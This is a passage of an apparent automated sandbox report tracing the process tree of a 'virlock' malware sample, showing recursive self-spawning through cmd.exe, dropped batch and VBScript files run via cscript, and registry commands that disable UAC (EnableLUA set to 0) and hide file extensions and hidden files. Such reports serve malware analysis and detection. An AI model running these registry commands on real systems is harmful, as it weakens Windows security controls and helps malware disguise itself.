                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                84⤵
                                                                                                                                                                                                                                                                  PID:6512
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                    85⤵
                                                                                                                                                                                                                                                                      PID:6344
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                        86⤵
                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                        PID:4768
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                          87⤵
                                                                                                                                                                                                                                                                            PID:1556
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                              88⤵
                                                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                                                              PID:4756
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                89⤵
                                                                                                                                                                                                                                                                                  PID:6400
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                    90⤵
                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                    PID:1596
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                      91⤵
                                                                                                                                                                                                                                                                                        PID:4072
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                          92⤵
                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                          PID:6928
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                            93⤵
                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                            PID:1340
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                              94⤵
                                                                                                                                                                                                                                                                                                PID:6820
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                  95⤵
                                                                                                                                                                                                                                                                                                    PID:2420
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                      96⤵
                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                      PID:6772
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                        97⤵
                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                        PID:4496
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                          98⤵
                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                          PID:920
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                            99⤵
                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                            PID:6188
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                              100⤵
                                                                                                                                                                                                                                                                                                                PID:6452
                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                  101⤵
                                                                                                                                                                                                                                                                                                                    PID:1264
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                      102⤵
                                                                                                                                                                                                                                                                                                                        PID:5508
                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                          103⤵
                                                                                                                                                                                                                                                                                                                            PID:2708
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                              104⤵
                                                                                                                                                                                                                                                                                                                                PID:5580
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                                  105⤵
                                                                                                                                                                                                                                                                                                                                    PID:4680
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                      106⤵
                                                                                                                                                                                                                                                                                                                                        PID:4620
                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                                          107⤵
                                                                                                                                                                                                                                                                                                                                            PID:5540
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                              108⤵
                                                                                                                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                              PID:7016
                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                109⤵
                                                                                                                                                                                                                                                                                                                                                  PID:6860
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                    110⤵
                                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                    PID:6980
                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                      111⤵
                                                                                                                                                                                                                                                                                                                                                        PID:6968
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                          112⤵
                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                          PID:3296
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                            113⤵
                                                                                                                                                                                                                                                                                                                                                              PID:5400
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                114⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:4840
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                    115⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:6260
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                        116⤵
                                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                        PID:6580
                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                          117⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:6540
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                              118⤵
                                                                                                                                                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                              PID:6436
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                119⤵
                                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                PID:1760
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                  120⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                  PID:6328
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                    121⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:2692
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                        122⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:5752
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                            123⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:6012
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                                124⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                PID:5440
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                                  125⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                  PID:7136
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                                    126⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                    PID:6004
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                                      127⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:6788
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                                          128⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                          PID:6836
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                            129⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:2892
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                                              129⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                              PID:4208
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                                                130⤵
                                                                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                PID:4612
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                                                  131⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4184
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                                                      132⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6352
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                                                        133⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3244
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                            134⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6416
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                            134⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1092
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                              134⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1612
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                          132⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6336
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                          132⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6236
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                          132⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4564
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DCoMkEMw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                          132⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2560
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                            133⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5828
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                      130⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2212
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                      130⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2496
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                      130⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:560
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\LKkEIQEw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-10-26_61d7def8f100df8877529cc661118aa4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                      130⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:244
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                        131⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2248
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                  128⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7116
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                  128⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5300
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                  128⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3512
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
